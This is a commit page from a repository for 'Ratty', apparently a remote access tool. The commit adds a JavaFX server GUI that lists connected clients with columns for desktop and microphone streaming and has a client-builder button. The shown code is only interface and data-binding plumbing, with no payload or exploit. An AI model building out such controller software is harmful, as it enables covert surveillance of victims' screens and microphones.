Browse Source

Minor changes

Started to implement JavaFX-based GUI
master
Sogomn 9 years ago
parent
commit
93955e3803
  1. 30
      Ratty/res/gui.fxml
  2. 7
      Ratty/res/language/language_de.properties
  3. 7
      Ratty/res/language/language_en.properties
  4. 0
      Ratty/res/test.css
  5. 81
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiFx.java
  6. 35
      Ratty/src/de/sogomn/rat/server/gui/ServerClient.java

30
Ratty/res/gui.fxml

@ -0,0 +1,30 @@
<?xml version="1.0" encoding="UTF-8"?>
<?import javafx.scene.control.*?>
<?import java.lang.*?>
<?import javafx.scene.layout.*?>
<BorderPane fx:id="pane" xmlns="http://javafx.com/javafx/8" xmlns:fx="http://javafx.com/fxml/1">
<bottom>
<HBox fx:id="bottom" BorderPane.alignment="CENTER">
<children>
<Button fx:id="builder" mnemonicParsing="false" text="%button.build" />
</children>
</HBox>
</bottom>
<center>
<TableView fx:id="table" editable="true" BorderPane.alignment="CENTER">
<columns>
<TableColumn editable="false" prefWidth="75.0" text="%column.name" />
<TableColumn editable="false" prefWidth="75.0" text="%column.address" />
<TableColumn editable="false" prefWidth="75.0" text="%column.os" />
<TableColumn editable="false" prefWidth="75.0" text="%column.version" />
<TableColumn editable="false" prefWidth="75.0" text="%column.desktop" />
<TableColumn editable="false" prefWidth="75.0" text="%column.voice" />
</columns>
<columnResizePolicy>
<TableView fx:constant="CONSTRAINED_RESIZE_POLICY" />
</columnResizePolicy>
</TableView>
</center>
</BorderPane>

7
Ratty/res/language/language_de.properties

@ -0,0 +1,7 @@
column.name=Name
column.address=Addresse
column.os=OS
column.version=Version
column.desktop=Desktopstream
column.voice=Mikrofonstream
button.build=Clientbuilder

7
Ratty/res/language/language_en.properties

@ -0,0 +1,7 @@
column.name=Name
column.address=Address
column.os=OS
column.version=Version
column.desktop=Streaming desktop
column.voice=Streaming voice
button.build=Client builder

0
Ratty/res/test.css

81
Ratty/src/de/sogomn/rat/server/gui/RattyGuiFx.java

@ -0,0 +1,81 @@
package de.sogomn.rat.server.gui;
import java.io.IOException;
import java.io.InputStream;
import java.util.Locale;
import java.util.ResourceBundle;
import javafx.application.Application;
import javafx.collections.ObservableList;
import javafx.fxml.FXML;
import javafx.fxml.FXMLLoader;
import javafx.scene.Parent;
import javafx.scene.Scene;
import javafx.scene.control.Button;
import javafx.scene.control.TableView;
import javafx.scene.layout.BorderPane;
import javafx.scene.layout.HBox;
import javafx.stage.Stage;
import de.sogomn.rat.Ratty;
public final class RattyGuiFx extends Application {
@FXML
private BorderPane pane;
@FXML
private TableView<ServerClient> table;
@FXML
private HBox bottom;
@FXML
private Button builder;
private static final String TITLE = "Ratty";
private static final String CSS_PATH = "/test.css";
private static final String FXML_PATH = "/gui.fxml";
private static final String LANGUAGE_BASE = "language.language";
public RattyGuiFx() {
//...
}
private Parent loadContent(final String path, final ResourceBundle bundle) {
final FXMLLoader loader = new FXMLLoader();
loader.setResources(bundle);
try {
final InputStream in = Ratty.class.getResourceAsStream(path);
final Parent content = loader.load(in);
return content;
} catch (final IOException ex) {
ex.printStackTrace();
return null;
}
}
@Override
public void start(final Stage primaryStage) throws Exception {
final ResourceBundle bundle = ResourceBundle.getBundle(LANGUAGE_BASE, Locale.ENGLISH);
final Parent content = loadContent(FXML_PATH, bundle);
final Scene scene = new Scene(content);
final ObservableList<String> styleSheets = scene.getStylesheets();
styleSheets.add(CSS_PATH);
primaryStage.setTitle(TITLE);
primaryStage.setScene(scene);
primaryStage.show();
System.out.println(builder);
}
public static void main(final String[] args) {
RattyGuiFx.launch(args);
}
}

35
Ratty/src/de/sogomn/rat/server/gui/ServerClient.java

@ -1,14 +1,15 @@
package de.sogomn.rat.server.gui;
import javafx.beans.property.SimpleBooleanProperty;
import javafx.beans.property.SimpleStringProperty;
import de.sogomn.rat.ActiveClient;
public final class ServerClient {
private String name, os, version;
private boolean loggedIn;
private final SimpleStringProperty name, os, version;
private final SimpleBooleanProperty streamingDesktop, streamingVoice;
private boolean streamingDesktop;
private boolean streamingVoice;
private boolean loggedIn;
private DisplayPanel displayPanel;
private FileTreePanel treePanel;
@ -18,14 +19,20 @@ public final class ServerClient {
public ServerClient(final ActiveClient client) {
this.client = client;
name = new SimpleStringProperty();
os = new SimpleStringProperty();
version = new SimpleStringProperty();
streamingDesktop = new SimpleBooleanProperty();
streamingVoice = new SimpleBooleanProperty();
displayPanel = new DisplayPanel();
treePanel = new FileTreePanel();
}
public void logIn(final String name, final String os, final String version) {
this.name = name;
this.os = os;
this.version = version;
this.name.set(name);
this.os.set(os);
this.version.set(version);
loggedIn = true;
@ -34,11 +41,11 @@ public final class ServerClient {
}
public void setStreamingDesktop(final boolean streamingDesktop) {
this.streamingDesktop = streamingDesktop;
this.streamingDesktop.set(streamingDesktop);
}
public void setStreamingVoice(final boolean streamingVoice) {
this.streamingVoice = streamingVoice;
this.streamingVoice.set(streamingVoice);
}
public void setController(final IGuiController controller) {
@ -47,7 +54,7 @@ public final class ServerClient {
}
public String getName() {
return name;
return name.get();
}
public String getAddress() {
@ -55,11 +62,11 @@ public final class ServerClient {
}
public String getOs() {
return os;
return os.get();
}
public String getVersion() {
return version;
return version.get();
}
public boolean isLoggedIn() {
@ -67,11 +74,11 @@ public final class ServerClient {
}
public boolean isStreamingDesktop() {
return streamingDesktop;
return streamingDesktop.get();
}
public boolean isStreamingVoice() {
return streamingVoice;
return streamingVoice.get();
}
public DisplayPanel getDisplayPanel() {

Loading…
Cancel
Save